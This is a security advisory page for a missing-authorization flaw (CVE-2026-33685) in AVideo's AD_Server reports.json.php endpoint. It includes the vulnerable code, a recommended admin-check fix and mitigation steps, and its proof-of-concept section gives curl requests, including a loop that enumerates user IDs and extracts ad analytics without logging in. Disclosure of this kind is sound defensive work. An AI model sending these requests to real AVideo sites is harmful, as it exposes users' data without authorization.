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MEDIUM severity

GHSA-j36m-74g2-7m95 — wwbn/avideo

MEDIUMFix: WWBN/AVideo@daca4ff

GHSA-j36m-74g2-7m95 is a medium-severity (CVSS 5.3) CWE-862 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

AVideo Allows Unauthenticated Access to AD_Server reports.json.php that Exposes Ad Campaign Analytics and User Data

Also known asCVE-2026-33685
Published
Mar 25, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-j36m-74g2-7m95.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-j36m-74g2-7m95 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The plugin/AD_Server/reports.json.php endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (reports.php) and CSV export (getCSV.php) both correctly enforce User::isAdmin(), but the JSON API was left unprotected.

Details

The vulnerable file plugin/AD_Server/reports.json.php loads the application configuration at line 5 but never checks whether the request comes from an authenticated admin user:

// plugin/AD_Server/reports.json.php:1-10
<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

// Fetch request parameters with safety checks
$startDate = !empty($_REQUEST['startDate']) ? $_REQUEST['startDate'] . ' 00:00:00' : null;
$endDate = !empty($_REQUEST['endDate']) ? $_REQUEST['endDate'] . ' 23:59:59' : null;
$reportType = isset($_REQUEST['reportType']) ? $_REQUEST['reportType'] : null;

Compare with the HTML page at plugin/AD_Server/reports.php:6-8, which correctly gates access:

if (!User::isAdmin()) {
    forbiddenPage(__("You cannot do this"));
    exit;
}

And plugin/AD_Server/getCSV.php:4-6:

if (!User::isAdmin()) {
    forbiddenPage('You must be Admin');
}

The JSON endpoint exposes five report types, each querying joined tables that include user and video metadata. For example, getAdsByVideoAndPeriod() at VastCampaignsLogs.php:239 executes:

SELECT v.title as video_title, u.channelName, v.users_id, vcl.videos_id,
       COUNT(vcl.id) as total_ads, vc.name as campaign_name
FROM vast_campaigns_logs vcl
LEFT JOIN videos v ON v.id = vcl.videos_id
LEFT JOIN users u ON u.id = v.users_id
LEFT JOIN vast_campaigns_has_videos vchv ON vchv.id = vcl.vast_campaigns_has_videos_id
LEFT JOIN vast_campaigns vc ON vc.id = vchv.vast_campaigns_id

This returns video titles, user channel names, user IDs, and campaign names directly to the unauthenticated caller.

Additionally, plugin/AD_Server/getData.json.php also lacks authentication and exposes aggregate ad view counts via VastCampaignsLogs::getViews(), though with lower impact.

PoC

# 1. Get all ad performance by video — returns video titles, user channel names,
#    user IDs, campaign names, and impression counts (no auth needed)
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByVideo'

# Expected: JSON array with objects containing video_title, channelName,
# users_id, videos_id, total_ads, campaign_name

# 2. Get per-user ad analytics for a specific user
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=1'

# Expected: JSON array with video_title, videos_id, total_ads, campaign_name, users_id

# 3. Get ad type breakdown with campaign names
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adTypes'

# Expected: JSON array with type, total_ads, campaign_name

# 4. Get ads for a specific video
curl -s 'https://target/plugin/AD_Server/reports.json.php?reportType=adsForSingleVideo&videos_id=1'

# Expected: JSON array with type, total_ads, campaign_name

# 5. Enumerate users by iterating user IDs
for i in $(seq 1 20); do
  curl -s "https://target/plugin/AD_Server/reports.json.php?reportType=adsByUser&users_id=$i"
done

# 6. Aggregate view counts (lower impact, also unauthenticated)
curl -s 'https://target/plugin/AD_Server/getData.json.php'

# Expected: {"error":false,"msg":"","views":12345}

Impact

An unauthenticated attacker can:

  • Enumerate platform users: Extract user IDs and channel names by iterating users_id values via the adsByUser report type
  • Extract ad campaign intelligence: Obtain campaign names, types (own vs third-party), and performance metrics (impression and click counts per video/user)
  • Map video-to-user relationships: Determine which user owns which video and their ad revenue performance
  • Competitive intelligence: On multi-tenant instances, one content creator could extract another's ad performance data

The data exposed is business-sensitive analytics that the application explicitly restricts to administrators in both the HTML interface and CSV export, but the JSON API bypass makes all of it publicly accessible.

Recommended Fix

Add User::isAdmin() checks to both reports.json.php and getData.json.php, matching the pattern used by reports.php and getCSV.php:

plugin/AD_Server/reports.json.php — add after line 5:

<?php
header('Content-Type: application/json');
require_once '../../videos/configuration.php';

if (!User::isAdmin()) {
    header('HTTP/1.1 403 Forbidden');
    die(json_encode(['error' => 'You must be an admin to access this resource']));
}

plugin/AD_Server/getData.json.php — add after line 4:

header('Content-Type: application/json');
require_once '../../videos/configuration.php';

if (!User::isAdmin()) {
    header('HTTP/1.1 403 Forbidden');
    die(json_encode(['error' => true, 'msg' => 'You must be an admin to access this resource']));
}

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Affected Products

1 product · 1 configurations
Application
avideowwbn
≤ 26.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-j36m-74g2-7m95 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary The `plugin/AD_Server/reports.json.php` endpoint performs no authentication or authorization checks, allowing any unauthenticated attacker to extract ad campaign analytics data including video titles, user channel names, user IDs, ad campaign names, and impression/click counts. The HTML counterpart (`reports.php`) and CSV export (`getCSV.php`) both correctly enforce `User::isAdmin()`, but the JSON API was left unprotected. ## Details The vulnerable file `plugin/AD_Server/reports.json.php` loads the application configuration at line 5 but never checks whether the request comes fro
O3 Security · Impact-Aware SCA

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GHSA-j36m-74g2-7m95: Medium 5.3 severity | O3 Security